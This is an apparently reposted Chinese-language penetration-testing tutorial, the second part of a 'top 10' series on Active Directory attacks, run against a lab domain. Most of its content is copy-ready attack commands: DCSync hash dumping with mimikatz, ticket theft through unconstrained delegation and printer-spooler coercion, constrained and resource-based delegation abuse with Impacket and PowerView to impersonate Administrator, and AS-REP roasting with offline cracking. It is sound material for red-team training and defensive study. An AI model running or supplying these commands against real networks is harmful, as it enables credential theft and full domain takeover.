Active Directory 域攻击面 | TOP 10 攻击方向(下)

渗透技巧 10个月前 admin
206 0 0

0x01 前言

这篇为AD域的十大攻击方向的下文。

0x02 DCSync 特权对象滥用

1. DCSync 攻击

DCSync 的原理非常清晰,利用域控制器之间的数据同步复制。

  • 发现网络中的目标域控制器;
  • 通过 DRS 服务的 GetNCChanges 接口发起数据同步请求,Directory Replication Service (DRS) Remote Protocol

Samba wiki 关于 GetNCChanges 的描述包括:

当一个 DC (客户端 DC)想从其他 DC (服务端 DC)获取数据时,客户端 DC 会向服务端 DC 发起一个 GetNCChanges 请求。回应的数据包括需要同步的数据。

咱可以使用mimikatz工具进行DCSync攻击。

lsadump::dcsync /domain:de1ay.com /all /csv
Active Directory 域攻击面 | TOP 10 攻击方向(下)

我们也可以指定域内用户,导出他的Hash

lsadump::dcsync /domain:de1ay.com /user:administrator /csv
Active Directory 域攻击面 | TOP 10 攻击方向(下)

我们通过DCSync攻击拿到的Hash和AES256可以用来构造白银票据、黄金票据、钻石票据以及蓝宝石票据。

详细可以查看我公众号的历史文章

# Pass The Hash以及白银票据、黄金票据
https://mp.weixin.qq.com/s/BRmgLQu73Kdi9NNz1CGYlw

# 钻石票据和蓝宝石票据
https://mp.weixin.qq.com/s/Swp3eptexjZOFD-WoZ9ZYQ

0x03 Kerberos 委派账户脆弱配置

委派是指将域内⽤⼾权限委派给服务账⼾,使得服务账⼾能以⽤⼾权限访问域内的其他服务

利⽤委派,攻击者可结合其他漏洞进⾏组合攻击,导致攻击者获取本地管理员权限甚⾄域管 理员权限,还可以制作深度隐藏的后⻔。

1. 非约束性委派

在 Windows server 2000⾸次发布Active Directory时,微软提供了⼀种简单的机制⽀持⽤⼾通过Kerberos向web服务器进⾏⾝份验证,⽤⼾通过该机制可以更新后端数据库服务器上的记录。这是最早的⾮约束性委派。

对于⾮约束性委派,服务账⼾可以获取被委派⽤⼾的TGT,并将TGT缓存到LSASS进程中,从⽽服务账 ⼾可以使⽤该TGT模拟该⽤⼾访问任意服务。

⾮约束性委派的设置需要 SeEnableDelegationPrivilege 特权,该特权默认只授予域管理员和企业管理员。

  • 域控默认配置了⾮约束性委派。
  • 配置了⾮约束委派属性的 机器账⼾ userAccountControl 属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION ,其对应的值是528384。
  • 配置了⾮约束委派属性的 服务账⼾ userAccountControl 属性的Flag位为 NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION ,其对应的值是524800。

配置并查看⾮约束性委派 在2016中,⽤⼾和计算机打开⾼级功能,再对机器账⼾设置委派后,查看属性编辑器,为528384。

Active Directory 域攻击面 | TOP 10 攻击方向(下)

通过AdFind⼯具寻找委派账户

# ADFind查询⾮约束委派普通账⼾
AdFind.exe -b "DC=xie,DC=com" -f "(&(samAccountType=805306368)
(userAccountControl:1.2.840.113556.1.4.803:=524288))"
 dn

# ADFind查询域xie.com中⾮约束机器账⼾
AdFind.exe -b "DC=xie,DC=com" -f "(&(samAccountType=805306369)
(userAccountControl:1.2.840.113556.1.4.803:=524288))"
 dn
Active Directory 域攻击面 | TOP 10 攻击方向(下)

从攻击⻆度来说:如果攻击者控制了服务1,则攻击者可以诱骗域管理员来访问服务1,然后攻击者可以在服务1机器上获取域管理员的TGT,从⽽可以⽤缓存的TGT模拟管理员访问任意服务,包括域控, 就相当于拿下了整个域环境。

非约束委派利用

环境:
* 域控: SH-AD(2016)(11.11.11.113)
* 域成员主机: asdasd-PC(Win7)(11.11.11.157)
* 域管理员: Administrator
* 域普通⽤⼾: asd
* 域: shanghai.xie.com

win7的asd普通域账⼾查询域内⾮约束性委派的主机账⼾

powershell -exec bypass "Import-Module .PowerView.ps1;Get-NetComputer -
Unconstrained -Domain shanghai.xie.com | select name"

Active Directory 域攻击面 | TOP 10 攻击方向(下)

查看域控默认配置了⾮约束性委派,正常情况下win7访问域控,提⽰拒绝访问。

在域控上使⽤域管理员Administrator⾝份使⽤ 域控机器 远程访问 win7。

net use \ASDASD-PC.shanghai.xie.com
Active Directory 域攻击面 | TOP 10 攻击方向(下)

此时主机上已经缓存了从DC登录过来的域管的ticket,mimikatz导出

# win7上执⾏mimikatz导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
Active Directory 域攻击面 | TOP 10 攻击方向(下)
# 导⼊票据到内存
mimikatz.exe "kerberos::ptt [0;aa670a][email protected]" "exit"

# 查看票据
mimikatz.exe "kerberos::list" "exit"
Active Directory 域攻击面 | TOP 10 攻击方向(下)

非约束委派+Spooler打印机服务

我们可以利⽤打印机服务漏洞来强制域控链接配置了⾮约束性委派的主机,也能从该主机上抓到域控机器账⼾的TGT,且不需要域管理员进⾏交互。

在win7上以管理员权限⽤Rubeus每隔⼀秒监听⼀次来⾃域控 SH-AD 主机的票据

.Rubeus.exe monitor /interval:1 /filteruser:SH-AD$
Active Directory 域攻击面 | TOP 10 攻击方向(下)

然后在win7上使⽤打印机服务漏洞攻击域控 SH-AD,使其强制回连认证Win7主机。

先检查打印机服务存不存在(https://github.com/Porchetta-Industries/CrackMapExec)

# 域控ip:11.11.11.113
./cme smb 11.11.11.113 -M spooler
Active Directory 域攻击面 | TOP 10 攻击方向(下)

这里我们使用SpoolSample工具(https://oss.zjun.info/file/SpoolSample.exe)

Active Directory 域攻击面 | TOP 10 攻击方向(下)

通过打印机漏洞让域控对win7机器发起请求,此时 Rubeus.exe 监听到了来⾃域控 SH-AD 主机 base64的票据TGT。

Active Directory 域攻击面 | TOP 10 攻击方向(下)
Active Directory 域攻击面 | TOP 10 攻击方向(下)

域控的机器账⼾不能⽤于登录,但是具有DCSync权限,所以可以⽤于导出域内⽤⼾Hash

2. 约束性委派

由于⾮约束性委派的不安全性,微软在 win server 2003中发布了约束性委派。对约束性委派,服务账⼾只能获取该⽤⼾对指定服务的ST,从⽽只能模拟该⽤⼾访问特定的服务。配置了约束性委派的账⼾的 msDS-AllowedToDelegateTo 属性会指定对哪个SPN进⾏委派。

约束性委派的设置需要 SeEnableDelegationPrivilege 特权,该特权默认只授予 域管理员 和 企业管理员 。

约束性委派有两种:

  • ⼀种是仅⽤Kerberos,也就是不能进⾏协议转换。
  • 另⼀种使⽤任何⾝份验证协议,也就是可以进⾏协议转换。
Active Directory 域攻击面 | TOP 10 攻击方向(下)
# 查找约束委派的用户
AdFind.exe -b dc=test,dc=local -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -dn

# 查找约束委派主机
AdFind.exe -b dc=test,dc=local -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" -dn

约束委派利用

目前是获得了域内主机win7权限,主机当前登录是asd域内普通⽤⼾,并且知道密码为P@ssw0rd,通过Adfind查询发现⽤⼾asd⽤⼾具有约束性委派属性,⽽且委派的SPN是cifs/SHAD.shanghai.xie.com

# 查询域中配置了约束性委派的服务账号,可以看到被委派的SPN
AdFind.exe -b "DC=shanghai,DC=xie,DC=com" -f "(&(samAccountType=805306368)
(msds-allowedtodelegateto=*))"
 msds-allowedtodelegateto
Active Directory 域攻击面 | TOP 10 攻击方向(下)

在这里我们使⽤ Impacket 进⾏约束性委派攻击。

# 以 administrator ⾝份 申请⼀张访问 cifs/SH-AD.shanghai.xie.com 服务的票据
getST.py -dc-ip 11.11.11.113 shanghai.xie.com/asd:P@ssw0rd -spn cifs/SHAD.shanghai.xie.com -impersonate Administrator

# 导⼊票据
export KRB5CCNAME=Administrator.ccache

# 远程访问域控 SH-AD
smbexec.py -no-pass -k SH-AD.shanghai.xie.com
Active Directory 域攻击面 | TOP 10 攻击方向(下)
  • 1,服务账⼾ asd 使⽤⾃⼰的账⼾和密码想KDC申请⼀个可转发的TGT,主义在KDC Option中选择forwardable 标志位,这样请求的TGT就是可转发的。
  • 2,服务账⼾的asd 以管理员 Administrator ⾝份申请⼀个针对⾃⾝服务的ST(这⼀步即 S4u2Self),此时⽣成的ST是可转发的。
  • 3,服务账⼾ asd ⽤上⼀步可转发ST以域管理员 Administrator ⾝份向KDC申请访问特定服务(cifs/SHAD.shanghai.xie.com)的ST(即S4u2Proxy)。
  • 4,导⼊上⼀步获得的以域管理员 Administrator ⾝份访问特定服务(cifs/SH-AD.shanghai.xie.com)的ST,既可成功访问域控。

3. 基于资源的约束性委派

为了使⽤⼾和资源更加独⽴,微软在win server 2012中引⼊了基于资源的约束性委派。基于资源的约束性委派不需要域管理员权限去设置,⽽是把设置属性的权限赋予了机器⾃⾝。基于资源的约束性委派允许受信任的账⼾委派给⾃⾝。

基于资源的约束性委派只能运⾏Windows Server2012 和 2012 R2及以上的域控上进⾏配置,但可以在混合模式的林中使⽤。

配置了基于资源的约束性委派账⼾ msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值为被允许委派账⼾的SID,并且委派属性这⾥没有任何值。

基于资源的约束性委派利用

⾸先已经获得了域内主机win7的普通域账⼾(asd)的权限,但是 asd普通域账⼾(在 Domian Users组中) 不再在本地管理员组中( 域管理员组(Domain Admins) 才拥有本地管理员权限)。

需要利⽤ 基于资源的约束性委派 进⾏本地提权,获得 win7的 system权限。

# 查询域⽤⼾是否在本地管理员组中
$userName = "shanghai.xie.comasd"$localAdmins = @(([ADSI]"WinNT://./Administrators").psbase.Invoke('Members') | foreach {$_.GetType().InvokeMember('Name''GetProperty'$null$_$null)}); if ($localAdmins -contains $userName) { Write-Host "$userName 是本地管理员"else{ Write-Host "$userName 不是本地管理员"}
Active Directory 域攻击面 | TOP 10 攻击方向(下)

确认是否具备基于资源的约束性委派条件,win7机器是这个域⽤⼾添加的,那么理论上win7的sid就应该是这个域⽤⼾的sid(如下进⾏验证),甚⾄域⽤⼾有修改这个win7机器账⼾的 msDS-AllowedToActOnBehalfOfOtherIdentity的权限,就可以利⽤基于资源的约束性委派来提权,把域账⼾权限提⾼到本地system权限。

现在通过 hostname 查询到机器名。然后通过adfind查询具有 mS-DS-CreatorSID 属性的机器名,看当前机器是不是有 mS-DSCreatorSID 属性,如果当前机器是被某个sid加⼊的,那么就有 mS-DS-CreatorSID 属性,并且可以拿到 把这台机器加⼊域的域账⼾的 SID值。

再通过powershell命令,根据sid反查这个账⼾名称,因为把这个机器加⼊域的账⼾具备修改msDSAllowedToActOnBehalfOfOtherIdentity的权限,如果是反查sid⽤⼾就是当前获取到的 域⽤⼾asd (就是域⽤⼾asd 把 asdasd-PC机器账⼾加⼊域的),那么就可以继续下⼀步利⽤了。

# 先看⾃⼰的机器名
hostname

# 查询具备mS-DS-CreatorSID属性的机器,获取创建这个机器账⼾的域⽤⼾的sid
.AdFind.exe -f "&(objectcategory=computer)(mS-DS-CreatorSID=*)" mS-DSCreatorSID

# 然后在通过这个sid反查域⽤⼾名,看是不是asd
$objSID = New-Object System.Security.Principal.SecurityIdentifier S-1-5-21-1869690813-2571112305-2721149695-1601;$objUser = $objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value
Active Directory 域攻击面 | TOP 10 攻击方向(下)
Active Directory 域攻击面 | TOP 10 攻击方向(下)
# 使⽤ powerview.ps1 查看经由该⽤⼾加⼊域内的机器账⼾(主机)
Import-Module .powerview.ps1

# 需要具备 GeneriCall 或 WriteProperty 等修改权限就⾏
Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-1869690813-2571112305-2721149695-1601"} | select objectdn,activedirectoryrights
Active Directory 域攻击面 | TOP 10 攻击方向(下)

现在已经确定以及肯定 win7机器的创建者就是asd了,也就是当前登录的⽤⼾。

创建新的机器账⼾,域⽤⼾asd拥有给win7机器配置基于资源的约束性委派的权限了,于是可以创建⼀个机器账⼾ m2 到 win7 机器的 基于资源的约束性委派。

域中任何⽤⼾都有权限 所以使⽤普通账⼾asd执⾏ New-MachineAccount.ps1 (https://github.com/vysecurity/Powermad)创建新的普通机器账⼾和密码

(参考⽂章:https://mp.weixin.qq.com/s/dlTyL3OTsn2fjxL9PfvupA)

创建m2机器账⼾,其实是⽤来使⽤m2和win7建⽴基于资源的约束性委派,⽤到m2的SID

# 创建 机器账⼾ m2$ 密码 root
Import-Module .New-MachineAccount.ps1
$securePassword = ConvertTo-SecureString "root" -AsPlainText -Force
New-MachineAccount -MachineAccount m2 -Password $securePassword
Active Directory 域攻击面 | TOP 10 攻击方向(下)

获取新创建机器账⼾的SID值

# 查询m2机器账⼾的sid,⽤来写⼊asdasd-pc的msDS-AllowedToActOnBehalfOfOtherIdentity属

cd Empire-masterdatamodule_sourcesituational_awarenessnetwork
Import-Module .powerview.ps1
Get-DomainComputer m2| select objectsid
Active Directory 域攻击面 | TOP 10 攻击方向(下)

像m2这种不⼀定真正存在的机器,⽽是机器账号。通过这种⽅式创建的 机器⽤⼾ 会有 SPN 甚⾄可以再次查询 创建这个机器账⼾的 SID 是不是 asd ⽤⼾,但是⽤不到,只是需要⽤这个 m2机器 账⼾ 和 win7 建⽴基于资源的约束性委派 做前提条件。

.AdFind.exe -f "&(objectcategory=computer)(mS-DS-CreatorSID=*)" mS-DS-CreatorSI

# 查询机器的 spn
setspn.exe -L m2
Active Directory 域攻击面 | TOP 10 攻击方向(下)

配置新的机器账⼾到win7的基于资源的约束性委派,修改win7机器 asdasd-pc 的委派属性,利⽤的SID为新建的 m2机器账⼾ 的SID,写⼊到win7机器账⼾的 DS-AllowedToActOnBehalfOfOtherIdentity 属性,这样就是配置了 m2 机器账⼾到 win7(asdasdpc)机器的 基于资源的约束性委派。

# 导⼊powershell
Import-Module .powerview.ps1

# 指定 m2的sid S-1-5-21-1869690813-2571112305-2721149695-1615
# 指定 win7 的机器名asdasd-pc 这样就建⽴了m2和win7机器的基于资源的约束性委派
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1869690813-2571112305-
2721149695-1615)"
;$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer asdasd-pc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# 查询asdasd-pc机器属性
Get-DomainComputer asdasd-pc -Properties msdsallowedtoactonbehalfofotheridentity
Active Directory 域攻击面 | TOP 10 攻击方向(下)

那么我们就可以使⽤Impacket进⾏基于资源的约束性委派攻击。

# 以administrator ⾝份申请⼀张访问 cifs/asdasd-pc.xie.com(机器是win7的asdasd-pc机器名) 服务的票据
getST.py -dc-ip 11.11.11.113 shanghai.xie.com/m2$:root -spn cifs/asdasdpc.shanghai.xie.com -impersonate Administrator

# 导⼊票据
export KRB5CCNAME=Administrator.ccache

# 远程访问win7,成功提权
smbexec.py -no-pass -k SH-AD.shanghai.xie.com
Active Directory 域攻击面 | TOP 10 攻击方向(下)

0x04 Kerberos 协议风险

1. AS-REP Roasting

AS-REP Roasting 是⼀种对⽤⼾账户离线爆破的攻击⽅式

  • 攻击需要有先决条件: 需要⽤⼾账⼾设置”不要求Kerberos域⾝份验证”选项,默认该选项是没有 勾选。
    • Kerberos预⾝份验证发⽣在Kerberos⾝份验证第1阶段(AS_REQ & AS_REP),主要作⽤是防⽌ 密码离线爆破。
    • 默认情况下 ,预⾝份验证是开启的,KDC服务(krbtgt⽤⼾起的)会记录密码错误次数,防⽌在线 爆破。
  • 关闭预⾝份验证,攻击者可以使⽤指定⽤⼾,向域控Kerberos 88端⼝请求票据,此时域控不会进⾏任何验证,就将TGT和该⽤⼾Hash加密的Login Session Key返回。
    • 因此,攻击者可以对获取到⽤⼾的Hash加密的Login Session Key进⾏离线破解,如果字典⾜够强⼤,则可以破解到指定⽤⼾的明⽂密码。

获取AS-REP包中Hash加密的Login Session Key,Rebeus⼯具会⾃动搜索域内勾选”不要求Kerberos域⾝份验证”的⽤⼾,并以该⽤⼾⾝份发起AS-REQ,由于不需要预⾝份验证,KDC会直接返回AS-REP包。

该⼯具会将AS-REP返回的⽤⼾Hash加密的 Login Session Key 以John⼯具能破解的格式,保存在hash.txt⽂件。

Rubeus.exe asreproast /format:john /outfile:hash.txt
Active Directory 域攻击面 | TOP 10 攻击方向(下)

如果当前脚本的机器在域内,导⼊ASRepRoast.ps1后执⾏,会⾃动搜索域内设置了

不要求Kerberos预⾝份验证 的域⽤⼾,并以该⽤⼾⾝份发送AS-REQ,由于不需要预⾝份验证,域控会直 接返回AS-REP包。(https://github.com/HarmJ0y/ASREPRoast)

#如果不允许运⾏脚本,在PowerShell窗⼝中,输⼊以下命令以将执⾏策略更改为Unrestricted。这将允许运⾏未签名的脚本

Set-ExecutionPolicy Unrestricted -Scope Process
Import-Module .ASREPRoast.ps1
Invoke-ASREPRoast

如果在域外没有有效域账⼾和密码,就⼤量⽤⼾名写⼊users.txt⽂件中,进⾏盲爆,将⾃动通过users.txt ⽂件中的⽤⼾,找到 不需要Kerberos预⾝份验证 的⽤⼾,并获取这个⽤⼾Hash加密的Login Session Key

GetNPUsers.py -dc-ip 11.11.11.113 -usersfile ~/impacket/user.txt -format john
shanghai.xie.com/
Active Directory 域攻击面 | TOP 10 攻击方向(下)

那么我们获取到Hash,就可以使⽤ john(Kali自带工具) 对获取到的hash进⾏爆破,爆破成功与否和字典强度有关。

# 准备好明⽂密码字典 /tmp/pass.txt 和 ⽤⼾Hash加密的Login Session Key /tmp/hash.txt
john --wordlist=/tmp/pass.txt /tmp/hash.txt
Active Directory 域攻击面 | TOP 10 攻击方向(下)

0x05 结尾

在这里我感谢我的兄弟王石头提供的相关的笔记。目前常见的AD域攻击手段也大体写明。

如有商务合作、技术交流,欢迎添加下方我的微信

Active Directory 域攻击面 | TOP 10 攻击方向(下)

原文始发于微信公众号(不懂安全的校长):Active Directory 域攻击面 | TOP 10 攻击方向(下)

版权声明:admin 发表于 2023年8月22日 下午4:49。
转载请注明:Active Directory 域攻击面 | TOP 10 攻击方向(下) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...